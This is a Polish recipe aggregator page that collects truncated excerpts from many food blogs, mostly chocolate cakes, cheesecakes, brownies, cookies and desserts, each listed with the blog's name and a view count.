Moim gościom bardzo  smakowały. Ciasteczka francuskie z  śliwką i kremem serowym. Ciasteczka: 1 płat ciasta francuskiego duże  śliwki ok 6 szt. cukier brązowy Krem serowy: 50g czekolady deserowej cynamon 30 dag Twarożku zmielonego (tzw sernikowy) 2-3 łyżki płynnego miodu 3 łyżki startej czekolady deserowej uprażone płatki migdałowe do dekoracji Ciasto francuskie pokrój na kwadraty. Podobnie przygotuj(...)cukru brazowego (ilość zależy od kwaśnosci owoców). Upiecz ciasteczka na złoty kolor (około 20 minut w zależnosci od piekarnika) Przygotuj krem. Ser wymieszaj w miseczce z płynnym miodem, startą czekoladą i szczyptą cynamonu do smaku. Układaj krem na wystudzonych ciasteczkach i udekoruj płatkami migdałowymi

Gotuj Sam!
Dietetyczne ciasto z cukinii 190

znudzą, niby przepis podobne a każde ciasto jest inne... Chociaż muszę przyznać, że to jest najlepsze z najlepszych, delikatne, mokre, mega czekoladowe i jeszcze z chrupiącymi kawałkami gorzkiej czekolady - wow! Składniki: 1,5 szklanki cukinii 7 łyżek rozpuszczonego masła 1 jajko 0,5 szklanki cukru lub innego słodzika 0,5 szklanki mąki razowej eko 2  czubate łyżki kakao(...)łyżeczka proszku do pieczenia 2 paski czekolady gorzkiej Przygotowanie: Nagrzewamy piekarnik do 180 stopni ustawiając grzanie góra-dół.  Obieramy cukinię i ścieramy na najmniejszych oczkach do dużej miski. Odciskamy, by usunąć nadmiar wody. Do cukinii dodajemy roztopione masło, jajko, cukier - mieszamy. Następnie dodajemy mąkę, proszek do pieczenia, kakao, pokruszoną czekoladę i tutaj już bardzo dokładnie mieszamy.  Prostokątną blaszkę

Życie zaczyna się w kuchni
Śniadanie do szkoły 299

Koktajl marchwiowo - pomarańczowy z jogurtem Koktajl śliwkowy z kokosem i chia Koktajl śliwko - jagodowy Koktajl truskawkowy Koktajl truskawkowo - bananowy z kaszą gryczaną Koktajl truskawkowo - miętowy Koktajl truskawkowo - miętowy z czekoladą Koktajl truskawkowy z natką z pietruszki i jagodami goji Koktajl warzywny na maślance Koktajl z cytrusów Koktajl z egzotycznych owoców Koktajl z jarmużu z bananem i pomarańczą Koktajl z jeżyn(...)dyniowo - jabłkowy z płatkami owsianymi i ziarnami chia Mus jabłkowy z orzechami włoskimi Naleśniki Naleśniki z jabłkami Naleśniki z serem Nocna owsianka z marchewką Owsianka z mleczkiem kokosowym i czekoladą Owsianka korzenna z nasionami chia Pieczona owsianka z czekoladą Pieczona owsianka pomarańczowa Pieczona owsianka z kokosem i orzechami włoskimi Pieczona owsianka ze śliwkami i kokosem Podpłomyki Proziaki Ricotta z bananem

Moja smaczna kuchnia
Sernik czekoladowy z suszoną śliwką, whisky i orzeszkami ziemnymi oraz wrześniowy czas nad Bałtykiem 131

miejscu jest niesamowitym doświadczeniem dla ciała i ducha! Składniki spód 150 g herbatników kakaowych 5 łyżek whisky 2 łyżeczki oleju masa serowa 900 g twarogu półtłustego 150 g stopionej czekolady 70% kakao 3 duże jajka 150 g śmietanki kremówki 100 g suszonych śliwek (namoczonych wcześniej w whisky) 1 szklanka + 1 płaska łyżka cukru pudru wierzch – polewa czekoladowa 1 łyżka(...)przekładamy do miseczki, zalewamy whisky. Herbatniki rozdrabniamy w blenderze na piasek. Łączymy z whisky i olejem. Masą herbatnikową wykładamy tortownicę (26cm) wyłożoną papierem do pieczenia. Tortownicę umieszczamy w lodówce. Czekoladę stapiamy w kąpieli wodnej. Odstawiamy do lekkiego przestudzenia. Zmielony dwukrotnie twaróg przekładamy do misy miksera, dodajemy cukier puder i miksujemy. Nastepnie dodajemy po całym jajku i nadal miksujemy. Teraz czas

Raj dla Podniebienia
Przepis #77 Jesienna szarlotka (w zdrowszej wersji) 170

czeka - teraz pora tylko na ciasto:) Zapraszam na moją jesienną szarlotkę na kruchym spodzie z mąki owsianej. Masa to oczywiście pyszne na jabłuszka. Całość przykryłam jogurtem greckim posypanym gorzką czekoladą. Składniki: Spód - 250 g mąki owsianej - 2 jajka - 0,5 łyżeczki sody oczyszczonej - 20 g cukru/słodzika - 30 g oleju kokosowego - 1-2 łyżki jogurtu greckiego Masa - około(...)jabłek - 2 łyżeczki cynamonu Wierzch - duże  opakowanie jogurtu greckiego (330 ml) - 2-3 łyżki cukru/słodzika - kilka kostek gorzkiej czekolady Wykonanie Przygotowanie zaczynamy dzień wcześniej od wyłożenia jogurtu (potrzebnego na wierzch) na sitko wyłożone ręcznikiem papierowym, które umieszczamy nad miską do lodówki na noc. Spód Na stolnicę wysypujemy mąkę oraz dodajemy jajka, jogurt, sodę oraz cukier/ słodzik i rozpuszczony

Health-Fit-Life
Tort rafaello z wiśniami 242

dużych jajek 5 łyżek cukru 5 łyżek mąki pszennej 1 płaska łyżeczka proszku do pieczenia Krem kokosowy: 500 ml zimnej kremówki 30% 2 śnieżki w proszku 100 g białej czekolady 100 g mielonych migdałów* 200 g wiórków kokosowych 100 ml adwokatu Dodatkowo:  100 ml likieru kokosowego do nasączenia biszkoptów 1 słoik wiśni deserowych Rolnik 4 szt cukierki raffaello kokos(...)pieczenia. Piec około 30-35 min w 175 stopniach. Po upieczeniu ostudzić na metalowej kratce. Zimny biszkopt przekroić 2 razy uzyskując 3 blaty. Krem kokosowy: W kąpieli wodnej rozpuścić czekoladę i odłożyć do przestudzenia. Zimną kremówkę ubić na sztywno ze śnieżkami. Cały czas ubijając wlewać małym strumieniem zimną ale płynną czekoladę. Wlać adwokat dodać migdały, wiórki kokosowe i krótko zmiksować

Ala piecze i gotuje
Ciasto bananowo – czekoladowe 124

aromatyczne i smaczne. Idealne do popołudniowej kawy. Przygotowanie nie zajmuje zbyt wiele czasu. 2 szklanki mąki 1 szklanka cukru 4 jajka 200 g margaryny 3 dojrzałe banany 1 tabliczka czekolady mlecznej 2 łyżeczki proszku do pieczenia 0,5 łyżeczki sody 1. Margarynę roztopić i ostudzić, a banany i czekoladę zetrzeć na tarce o małych oczkach. 2. Następnie jajka z cukrem(...)utrzeć na puszystą masę. Dodać do niej mąkę, proszek do pieczenia, sodę oraz roztopioną margarynę i dokładnie wymieszać. Dołożyć banany i czekoladę. 3. Całość wylać na wyłożoną papierem do pieczenia blachę, wstawić do piekarnika i piec ok. 50 min. Po ostudzeniu ciasto można udekorować cukrem pudrem lub lukrem

Krokusowy Dom
RAFFAELLO Z ADWOKATEM 435

Gotową masę podzielić na 2 części.   Masa 2:   1/2 l śmietany kremówki 2 śmietany "Śnieżka" 1 szklanka adwokata duża paczka biszkoptów 2 łyżki wiórków kokosowych 1 biała czekolada 3 łyżki mleka 1-2 łyżeczki żelatyny Białą czekoladę rozpuścić z 1 łyżką mleka. Żelatynę rozpuścić w 2 łyżkach mleka. Śmietanę kremówkę ubić ze Śnieżką,dodać szklankę adwokata,pokruszone biszkopty(...)oraz wiórki kokosowe. Na końcu dodać rozpuszczoną czekoladę oraz żelatynę - wymieszać.   Przełożenie ciasta:   Biszkopt + 1/2 masy 1 + ciasto kokosowe + 1/2 masy 1 + masa 2 + wierzch obficie posypać wiórkami kokosowymi Biszkopt dodatkowo nasączyłam wodą z cytryną i spirytusem. Inspirowałam się przepisem S Anastazji

Niespełnione zdolności kulinarne
Ciasto Kubuś 250

łyżki cukru pudru Wszystkie składniki powinny być schłodzone. Składniki przełożyć do miski, zmiksować do otrzymania gęstego kremu. Masę wyłożyć na krem budyniowy, wyrównać. Dodatkowo: 50 g mlecznej czekolady 50 g gorzkiej czekolady Czekolady zetrzeć na tartce na grubych oczkach bezpośrednio nad ciastem, rozprowadzając równomiernie. Ciasto schłodzić w lodówce. SMACZNEGO

kulinarnyswiatdomi
Arbuzowe galaretki 281

Polecam dzisiaj galaretki arbuzowe, małe słodkie na jeden kęs. Arbuzowe galaretki Składniki: 3 galaretki czerwone 2 galaretki zielone 120 ml śmietanki 30% 2 kostki czekolady (lub więcej jeśli ktoś chce) Arbuzowe galaretki Wykonanie: Keksówkę o wymiarach 20×12 cm wyłóż folią aluminiową. Jedną galaretkę zieloną rozpuść w 250 ml wrzącej wody, odstaw do ostudzenia. Mniej(...)wyciągnij galaretkę na deskę i zdejmij folię. Pokrój w plastry grubości 1-1,5 cm. Każdy plaster pokrój w trójkąty. Czekoladę rozpuść w kąpieli wodnej. Wykałaczką namaluj pestki. Odstaw do zastygnięcia czekolady. Arbuzowe galaretki Małe galaretki arbuzowe doskonałe na letnie przyjęcia.   Artykuł Arbuzowe galaretki pochodzi z serwisu Pomysłowa kuchnia

Pomysłowa kuchnia
Ciateczkowy pingwin z masła orzechowego 145

prawie cały słoik=4-5 opiastych łyżek 60 g masła, w temperaturze pokojowej 1 szklanka miałkiego brązowego cukru 2 duże jajka 1 łyżeczka ekstraktu z wanilii 1 tabliczka czekolady mlecznej 1 tabliczka czekolady gorzkiej   Wykonanie: 1. Do wysokiej miski/gara (wysokiej, serio, przy niskich rozmiarach naczynia masz gwarantowane sprzątanie kuchni) wrzuć masło , masło orzechowe i cukier . Utrzyj masła(...)Dodaj sodę oczyszczoną i wymieszaj ją z mąką. 4. Dorzuć do gara z masą właściwą maślaną mąkę.     Zmiksuj bądź dokładnie wymieszaj. 5. Posiekaj drobno czekolady .     Dorzuć do masy. Nie miksuj.     Dobrze wymieszaj. 6. Nadaj ciasteczkom kształt jaki chcesz uzyskać.      Np. pingwinka, kuleczki bądź standardowy kształt ciasteczek

U Fiolki
Ciasto marchewkowe z mleczną czekoladą i pistacjami 114

podstawkami pod kubek kawy gdy chcesz ją trzymać w łóżku.(podkładki są zdecydowanie przereklamowane). Ciasto marchewkowe też lubię. Ciężkie,mokre,klejące się do palców. Wypełnione jabłkami,ananasem,pistacjami i czekoladą. Szczególnie jedzone wspólnie o godzinie w jakiej normalni ludzie w niedzielę jeszcze smacznie śpią. Składniki (baza) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable(...)łyżka kopiasta żytniej) pół szklanki cukru brązowego 1 łyżeczka sody oczyszczonej bądź proszku do pieczenia 1/3 szklanki oleju rzepakowego 2 jajka, Dodatki 1/2 szklanki pistacji 1 tabliczka czekolady (użyłam pół mlecznej i pół gorzkiej goplany) pół szklanki posiekanych ananasów pół startego i odsączonego bądź posiekanego jabłka 1 szklanka startej na średnich oczkach marchewki Przyprawy 1 łyżeczka cynamonu 1łyżeczka przyprawy

U Fiolki
Comfort drink czyli kakao cywilisty na dzień dziecka raz! 157

nadal słyszmy "dlaczego nie odbierasz? Martwiłam/Martwiłem się! Aaa zajęcia miałaś/miałeś? Pracowałaś/łeś?. No tak..." . Dlatego dostajemy od nich życzenia. Czasami przelew na konto,książkę,dobra czekoladę,ciasto czy ulubiony obiad bądź paczkę z rogalikami/słoikami/pierogami słaną na drugi koniec polski przesyłką konduktorską. To nie to co kiedyś gdy w ten dzień - obowiązywała dieta lodowa(...)kakao jednoosobowego pomnożyć składniki i zrobić coś dla rodziców? Istne comfort drink . To co - dzisiaj jedna porcja czy trzy? Składniki kubek/szklanka mleka krowiego bądź roślinnego kopiasta łyżeczka kakao starta czekolada mała płaska łyżeczka cukru/ksylitolu bądź miodu opcjonalnie : cynamon kardamon anyż przyprawa do piernika wanilia łyżka rumu łyżka słodkiego syropu smakowego Wykonanie: 1.Mały rondelek przepłucz wodą. Wlej do niego mleko

U Fiolki
Muffiny z owocami, kawałkami czekolady i kokosową kruszonką 186

ulewy wyszliśmy suchą stopą,a P. nie podołał kolejnej porcji słodkości (zapewne tylko dlatego,że wieczorem zrobiłam z podwójnej porcji) więc miałam możliwość zrobienia zdjęć rano. Muffinki z owocami,czekolada i kokosową kruszoną są idealne na deszczowy dzień i do zabrania ze sobą w pudełko na jacht.A ja...cóż - na pewien czas mam dość pieczenia muffin i deszczu utrudniającego poruszanie(...)oleju rzepakowego 2/3szklanki cukru brązowego 2 szklanki mąki (u mnie jedna szklanka mąki pszennej typ 500 i jedna szklanka mąki pszennej pełnozianistej) 1łyżeczka proszku do pieczenia 3/4 tabliczki ulubionej czekolady pokrojonej w drobną kostkę garść malin garść jagód b) kruszonka 2-3 łyżki kokosowych wiór 4 łyżki mąki 3 łyżki cukru 1-2 łyżki masła Wykonanie: a) muffiny 1. Jajko

U Fiolki
SERNIK BANANOWY Z RICOTTY 192

serka homogenizowanego waniliowego 3 jajka 5 łyżek cukru 3-4 banany duży budyń waniliowy 1/2 łyżeczki kardamonu 1/2 łyżeczki cynamonu szczypta soli Polewa: 1 łyżka masła 50 g gorzkiej czekolady Wykonanie: Spód :  Masło topimy. Herbatniki kruszymy na miałko, wrzucamy do miski, dodajemy kakao i roztopione masło. Dokładnie ucieramy mikserem. Na końcu dodajemy białko ubite ze szczyptą soli na sztywną(...)delikatnie mieszamy łyżką. Masę sernikową wykładamy na wcześniej przygotowany spód herbatnikowy, wyrównujemy. Wkładamy do piekarnika nagrzanego do 170 stopni na około 60 min. Studzimy w wyłączonym piekarniku. Polewa : Czekoladę z łyżką masła topimy w kąpieli wodnej. Stopioną czekoladą polewamy wierzch wystudzonego sernika. Przechowujemy w lodówce. P.S. Przepis pochodzi z mojego bloga ALE Ciachoo! 2 KOMENTARZE: MILENA 31 października

Kuchnia MagdaLeny
Ciasto drożdżowe z malinami i białą czkoladą 242

Składniki: 1 kg mąki pszennej 8 jajek 150 g masła 500 ml mleka 200 g cukru 70 g drożdży 200 g malin 200 g białej czekolady 100 ml śmietany 18% łyżka cukru waniliowego imbir mielony 2 płaskie łyżeczki soli Robimy rozczyn. W misce rozkruszamy drożdże, zasypujemy je 3 łyżkami cukru. Zalewamy letnim mlekiem. Mieszamy, by drożdże się rozpuściły. Dodajemy(...)mąkę i roztopione masło. Zagniatamy plastyczne ciasto. Odstawiamy na 40 minut lub dłużej w ciepłe miejsce, aż do podwojenia swojej objętości. Do rondelka przelewamy śmietanę, dodajemy połamana na kawałki czekoladę. Podgrzewamy, tak by czekolada się rozpuściła. Maliny mieszamy z 4 łyżkami cukru oraz szczyptą mielonego imbiru. Wyrośnięte ciasto przekładamy na stolnicę, delikatnie wałkujemy na owalny placek. Polewamy połową sosu czekoladowego

Słodkości na talerzu
Trufle migdałowe 153

Czasem każdy powinien zjeść to na co ma ochotę. Nawet Ci którzy są na diecie. Jestem wielką fanką czekolady, niezależnie czy tych słodkich czy tych gorzkich, mała porcja czekoladowych pyszności , skutecznie zaspokaja głód na słodycz na długi czas a jedna lub dwie migdałowych trufli  sprawi, że zapomnimy nie tylko o cukrze ale i o całym świecie. Składniki na około(...)sztuk trufli: 2 tabliczki mlecznej czekolady 100 ml śmietanki 30% 2 łyżki  rozdrobnionych migdałów ½ łyżeczki  ekstraktu migdałowego Dr.Oetker Rozdrobnione  na pył wafelki, herbatniki migdałowe  lub kakao do obtoczenia Jak wykonać ? W małym rondelku podgrzewamy na gorąco śmietanę, zestawiamy z palnika, dodajemy połamaną na kawałki mleczną czekoladę, czekamy 2 minuty aż zacznie się rozpuszczać, delikatnie mieszamy szpatułką

Wanilia i Kardamon
SERNIK CYTRYNOWY NA CIASTECZKOWYM SPODZIE 147

czekoladowej. Robi się go szybko a smakuje idealnie.  Polecam :) SKŁADNIKI na 12 porcji: Spód 150 g,ciastek czekoladowych 4 łyżki masła roztopionego Polewa 4 łyżki mleka 1 tabliczka czekolady Ciasto 1 kg sera z wiaderka 4 jajka 1/2 szklanki cukru Sok z 1 cytryny 1 /2 szklanki rodzynek 150 g miękkiego masła 2 budynie śmietankowe 1 łyżeczka proszku(...)koniec dodaję białka. Mieszam drewnianą łyżką. Dodaję rodzynki. Dalej mieszam. Przekładam na ciasteczkowy spód. Piekę ok 60 min w 180 stopniach. Studzę. W garnku podgrzewam mleko o dodaję czekoladę. Ciasto polewam czekoladą,a następnie pozostawiam w lodówce na kilka godzin

Gotowanie Patki
Kuleczki bounty 128

świetnie się nadają na przyjęcie gości. Po prostu palce lizać ;-) Składniki -200 g wiórek kokosowych -70 g masła -70 g cukru pudru -100 ml śmietanki kremówki 30% -200 g czekolady (polecam 100g gorzkiej i 100g białej) Przygotowanie Wiórki i cukier wsypać do miski i dokładnie wymieszać. Śmietankę wlać do  garnka, włożyć masło. Podgrzewać do rozpuszczenia masła, następnie wlać(...)będzie się dobrze lepić, ale odstawać od rąk. (średnio 15-60 minut). W  międzyczasie przygotować papier do wyłożenia kuleczek i kilka  wykałaczek (albo 2 widelce).Czekoladę rozpuścić w kąpieli wodnej. Z  Masy formować kuleczki (lub jakiekolwiek inne kształty wg uznania).  Gotowe kuleczki nabijać na wykałaczkę i maczać w czekoladzie. Odstawić w  chłodne miejsce do stężenia

Zielona Kuchnia
Mocno czekoladowa tarta z wiśniami 111

Tarta wprost rozpływa się w ustach. Idealna propozycja dla osób lubiących brownie. Najlepiej smakuje podana jeszcze na ciepło, kiedy czekolada jest płynna i cudownie wypływa ze środka. Składniki na ciasto -200 g mąki pszennej -1 łyżeczka proszku do pieczenia -2 łyżki kakao -125 g margaryny -1 jajko -3 łyżki śmietany -3-4 łyżki cukru -szczypta soli na masę(...)śmietany -2 łyżki budyniu czekoladowego w proszku lub mąki ziemniaczanej -4 łyżki cukru -1 szkl. wiśni (mogą być mrożone. Ja użyłam wydrylowanych w słoikach domowej roboty) -1 tabliczka gorzkiej czekolady Przygotowanie Wiśnie wyłożyć na sito by się rozmroziły (jeśli są mrożone) i obciekły. Składniki na ciasto przełożyć do miski i szybko zagnieść. Formę do tarty natłuścić i wysypać tartą bułką

Zielona Kuchnia
Brownie z masłem orzechowym 358

pokojowej, jak i w lodówce, oczywiście w obu przypadkach pod przykryciem.  Brownie z poniższego przepisu przygotujecie w formie o wymiarach 20x30cm . Brownie z masłem orzechowym Składniki: 200g gorzkiej czekolady 150g masła 150g cukru pudru 3 jajka 100g mąki pszennej 4 łyżki kakao 1 łyżka ekstraktu z wanilii 180g masła orzechowego Wykonanie: - składniki powinny być w temperaturze pokojowej - do miski(...)przełożyć masło, cukier i czekoladę - składniki umieścić nad parą wodą (w tzw. kąpieli wodnej), podgrzewać do ich rozpuszczenia się - gorącą mieszankę zdjąć na blat, ostudzić - do ostudzonej mieszanki wbić jajka, roztrzepać ręczną trzepaczką lub widelcem - dodać ekstrakt z wanilii, wymieszać - w osobnej misce wymieszać mąkę i kakao - składniki suche przesiać do składników mokrych, dokładnie wymieszać - formę wysmarować tłuszczem, wyłożyć papierem

Smakołyki Bereniki
Przepis #71 Bezglutenowe ciastka pieguski 126

coś słodkiego do kawy czy herbaty co jednak często nie sprzyja zachowaniu szczupłej sylwetki. Dlatego wychodząc temu na przeciw przygotowałam dla Was przepis na pyszne bezglutenowe ciasteczka pieguski z czekoladą. Są łatwe w przygotowaniu i niskokaloryczne. Jedno ciastko ( z tej porcji wyszło mi 14 ciastek )  to 63 kcal(...)Składniki: - szklanka mąki kukurydzianej - 1,5 łyżeczki proszku do pieczenia - 0,5 łyżeczki soli -  jajko - 20 g czekolady gorzkiej - 3 łyżki jogurtu greckiego - 40 g cukru/słodzika   Wykonanie Do miski wsypujemy mąkę, proszek do pieczenia oraz sól. Wbijamy jajko oraz wlewamy jogurt. Całość dokładnie miksujemy. Na koniec wrzucamy pokrojoną w kostkę czekoladę. Całość łączymy. Na blasze wyłożonej papierem

Health-Fit-Life
BROWNIE Z PIECZONYMI ŚLIWKAMI 169

ciasto powinno piec się krócej. Najlepsze jeszcze lekko ciepłe, polane sosem z pieczonych śliwek i podane z porcją domowej bitej śmietany. SKŁADNIKI  200 g masła 200 g gorzkiej czekolady 3 jajka 250 g drobnego cukru (można dać mniej) 150 g mąki 1 kg dojrzałych śliwek (dużych okrągłych lub węgierek) cukier puder WYKONANIE  Piekarnik rozgrzewamy do 160℃ (góra(...)wielkości), aż będą miękkie, ale nie rozpadające się. Nie powinny się przypalić. Wyjmujemy na blat, piekarnika nie wyłączamy. W rondelku, na małym ogniu roztapiamy masło, dodajemy połamaną na kostki czekoladę. Nie podgrzewamy zbyt mocno. Mieszamy do połączenia składników, odstawiamy z ognia. W dzieży miksera krótko rozmiksowujemy jajka z cukrem, stopniowo, cały czas miksując dolewamy roztopioną czekoladę z masłem. Na koniec

cool and minty
Czekoladowe ciasto z cynamonem i gruszkami 820

powiało już jesienią...? Składniki: 400 g mąki pszennej tortowej 3 duże jajka 200 g masła 220 g brązowego cukru ( 1 szklanka ) 220 ml mleka 50 g kakao 100 g czekolady gorzkiej 2 łyżeczki cynamonu 2 łyżeczki proszku do pieczenia 3/4 łyżeczki sody oczyszczonej 50 ml ciemnego rumu 2 łyżki soku z cytryny około 5 sztuk gruszek ( około 800 g - waga(...)być w temperaturze pokojowej. Gruszki obrać i pokroić w niezbyt grubą kostkę. Wymieszać z rumem oraz z sokiem z cytryny, odstawić na godzinę. Masło roztopić w garnuszku, dodać połamaną czekoladę i odstawić na około 1 minutę. Po tym czasie wymieszać do całkowitego rozpuszczenia czekolady i otrzymania gładkiej, jednolitej masy. Odstawić do wystudzenia. Mąkę pszenną, kakao, proszek do pieczenia oraz sodę

Opowieści z piekarnika
najlepsze ciasto z resztek po soku ze śliwkami i białą czekoladą... 153

cukier 3/4 szklanki, mąka tortowa 1,3/4 szklanki, proszek do pieczenia 1 łyżeczka, soda oczyszczona 1 łyżeczka, kakao 3 łyżki, cukier wanilinowy 1 opakowanie, śliwki 50 dag, biała czekolada 100 gram, śmietanka 2 sztuki resztki z wyciskania soku w wolnoobrotowej wyciskarce, użyłam 2 pełne kubki: marchew, aronia, śliwki, jabłka, można uzyć z sokowirówki, ale z wyciskarki te resztki są lepsze(...)poukładać śliwki bez pestek i w nagrzanym piekarniku na 200 C, piec około 50-60 minut, do suchego patyczka, ciasto dobrze wystudzić w blaszce w kąpieli wodnej stopić białą czekoladę, wlać dwa małe pojemniczki śmietanki do kawy ciepłą czekoladę wylać na wierzch ciasta i zostawić do wystygnięcia - można użyć owoce jakie ma się w domu: z kompotu, odmrożone, suszone, ciasto

W Mojej Kuchni Lubię
Biszkopt z prostymi kremem, owocami i polewą 285

polewą Składniki na blachę: 25×40 cm Biszkopt: – 7 jajek (białka i żółtka osobno) – 200 g maki pszennej – 170 g masła – 170 g czekolady gorzkiej – 250 g cukru – 1,5 łyżeczki proszku do pieczenia Najlepiej zrobić biszkopt w pierwszej kolejności. Masło wrzucamy do rondelka razem z czekoladą i podgrzewamy do momentu, aż składniki(...)miksujemy chwilę, aż piana jeszcze bardziej zgęstnieje. W osobnej misce miksujemy żółtka z resztą cukru, do momentu, aż podwoją objętość i będą bardzo gęste. Do ubitych żółtek przelewamy rozpuszczoną czekoladę, a także przesiewamy mąkę z proszkiem do pieczenia. Miksujemy. Gdy składniki się połączą dokładamy pianę z białek i mieszamy już szpatułką. Przekładamy na blachę wyłożoną papierem do pieczenia i pieczemy

Relaxtime
Wegańskie, buraczane muffiny czekoladowe – misiowe łapki (bez glutenu, laktozy, cukru białego, wegańskie- muffiny) 205

Powoli rozkręca się sezon na dynię ale nie zapominajmy o innych późnych warzywach takich jak np. buraki 😊 Buraczki są bardzo zdrowe a  w deserach najlepiej komponują się z czekoladą! 😋 Muffiny są wilgotne i kakaowe a na górze czekoladowe  bezglutenowe ciastko tworzy uroczą stópkę 🐾 Czego chcieć więcej? No chyba tylko pysznej cynamonowej herbatki Richmont 🍵 W taki sposób można łagodnie(...)niż pół łyżeczki sody oczyszczonej Krem kokosowy - ten (wegański-ryżowy) lub ten (nie wegański-nabiałowy) Dodatkowo -ulubione czekoladowe ciasteczka, u nas ciastka Cioccolini bez glutenufirmy Schar -3 kostki gorzkiej czekolady (na paluszki ;) -wiórki kokosowe (do posypania kremu kokosowego) BURACZANE MUFFINY CZEKOLADOWE Buraki obrać, pociąć na mniejsze kawałki i upiec w piekarniku do miękkości, następnie zrobić z nich puree widelcem. Mąki

Candy Pandas
Przepis #69 FIT torcik czekoladowo- orzchowy na pożegnanie wakacji 131

łyżeczki proszku do pieczenia - 4 łyżki cukru/słodzika Masa - 600 g jogurtu greckiego - 3 łyżki słodzika/cukru - 3 łyżeczki kakao - 20 g masła orzechowego Dodatkowo - tabliczka gorzkiej czekolady - ok 200 g malin świeżych Wykonanie Biszkopt Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę. Pod koniec dodajemy cukier/słodzik. Dalej ubijamy. Na koniec wsypujemy mąkę, proszek do pieczenia oraz kakao(...)smarujemy masą z kakao. Następnie układamy na nim 2/3 malin. Przykrywamy drugim krążkiem, którego smarujemy kremem orzechowym. Odrobinę kremu zostawiamy, aby posmarować boki.   W kąpieli wodnej roztapiamy czekoladę, którą smarujemy całe ciasto. Na wierzchu układamy pozostałe maliny. Mój tort udekorowałam jeszcze drobno posiekanymi orzechami nerkowca. Połączenie malin i czekolady to wspaniałe połączenie. Tak można żegnać wakacje! Smacznego

Health-Fit-Life
Chałwowiec na ciepłych lodach 152

Deser banalnie prosty i szybki w przygotowaniu! Spód w postaci pianki z ciepłych lodów, krem chałwowy z kawałkami białej czekolady i soczyste owoce zalane krystaliczną galaretką! Tortownica 22 cm: 10 ciepłych lodów (tzw. ,,murzynków”) 500 ml śmietany 30% 1 łyżka cukru pudru 100 g chałwy waniliowej 50 g białej czekolady ¼ szklanki ciepłej wody 1 łyżka żelatyny 1 galaretka krystaliczna(...)pół ciepłe lody. Kupiłam takie, które miały na spodzie wafelek. Żelatynę rozpuszczamy w ciepłej wodzie, odstawiamy do przestygnięcia. Śmietankę ubijamy na sztywno z dodatkiem cukru pudru. Dodajemy startą białą czekoladę i pokruszoną bardzo drobno chałwę. Dolewamy żelatynę i miksujemy na wolnych obrotach tylko do połączenia się składników. Krem wykładamy na ciepłe lody. Tortownicę wstawiamy do lodówki na 1 godzinę

VioletoweKucharzenie
Piernikowe Mleczne Kanapki 166

opakowania pierników toruńskich - Katarzynki ( dwa opakowania 100 gramowe ) 8 łyżek mleka 3 czubate łyżki cukru 20 g masła 11 czubatych łyżek mleka w proszku Polewa: 50 g białej czekolady 3-4 łyżeczki śmietanki 30 % Dekoracja: złote kuleczki cukrowe 1. Mleko z cukrem i masłem zagotowujemy. Kiedy lekko przestygnie dodajemy mleko w proszku i mieszamy dokładnie do pozbycia się grudek. Gotowa(...)masę odstawiamy do przestygnięcia. 2. Białą czekoladę razem ze śmietanką, roztapiamy nad kąpielą wodną. 3. Przestudzoną, lekko zgęstniałą mleczną masą, smarujemy, dość grubo pierniczki, składając je po dwa. Następnie polewamy, gotowe kanapki, białą czekoladą tworząc esy floresy. Na końcu przyozdabiamy złotymi kuleczkami. Chowamy na 1 godz. do lodówki aby masa całkowicie zgęstniała. Następnie podajemy i zajadamy. Smacznego !!! Przepis bierze udział

Gotowanie...to proste !
Kokosowo-orzechowe pralinki-serca z kawałkami czekolady 173

sięgnęłam do "szafki istnej rozkoszy" (wiem co mówię, tutaj możecie przeczytać, jakie produkty otrzymałam). Dzisiaj w roli głównej krem z prażonych orzechów laskowych w towarzystwie pasty kokosowej bio i czekolady 101% raw bio . Zabójcze połączenie. Szczerze muszę przyznać, że produkty rozprowadzane przez alfa-koszyk imponują mi swoją jakością i smakiem, zwłaszcza w stosunku do ich ceny. Fakt(...)owijać w bawełnę, zapraszam do przepisu! Składniki: 5 0 gram pasty kokosowej bio (5 czubatych łyżeczek) 5 0 gram kremu z prażonych orzechów laskowych (2.5 pełnych łyżek) 10 gram czekolady 101% raw bio (1 pasek) łyżka syropu daktylowego bio szczypta cynamonu Przygotowanie: Zblenduj pastę kokosową z kremem z prażonych orzechów, syropem daktylowym i cynamonem. Czekoladę pokrój na drobne kawałki

Smiling Shrimp
Raffaello z migdałami 248

krakersów lub biszkoptów. Składniki: Biszkopt: 4 jajka 4 łyżki cukru 4 łyżki mąki pszennej 1 płaska łyżeczka proszku do pieczenia Pianka kokosowa: 0,75 l kremówki 30% 300 g czekolady białej 1 puszka mleczka kokosowego bio * 200 ml mleka 2 szczypty aromatu kokosowego w proszku 7 łyżeczek żelatyny 0,5 szkl gorącej wody płatki migdałów  Przygotowanie: Biszkopt:  Białka(...)papierem do pieczenia, wyrównać i piec w 180 stopniach około 25 minut. Po upieczeniu ostudzić. Pianka kokosowa: Dzień wcześniej kremówkę podgrzać ale nie gotować. Zdjąć z ognia dodać połamane czekolady i dokładnie rozmieszać. Przykryć, przestudzić i zimne włożyć do lodówki najlepiej na całą noc. Zimną kremówkę z czekoladą ubijać na najwyższych obrotach około 5 minut. Śmietana powinna się napowietrzyć. Wlewać

Ala piecze i gotuje
Sernik z mascarpone bez pieczenia 234

szkoda, że sezon na nie jest taki krótki. Składniki: (foremka o średnicy 28 cm)  Spód do sernika: 150 g herbatników kakaowych  100 g masła  100 g czekolady deserowej z co najmniej 50% kakao  Masa serowa: 500 g serka mascarpone  330 ml śmietany 30% (schłodzić)   3/4 szklanki cukru pudru  1 laska wanilii(...)malinowej  Dodatkowo: 2 galaretki malinowe Do odmierzania używam: szklanka - 250 ml, łyżka - 15 ml.   Jak zrobić sernik z mascarpone bez pieczenia?  Spód do sernika na zimno: Czekoladę i masło roztopić w misce na garnku z wrzącą wodą, dno miski nie może dotykać wody. Podczas roztapiania masę ciągle mieszać, aż powstanie jednolita konsystencja.  Herbatniki rozdrobnić w blenderze

Kuchcik gotuje
Ciasto czarny las w wersji wegańskiej 189

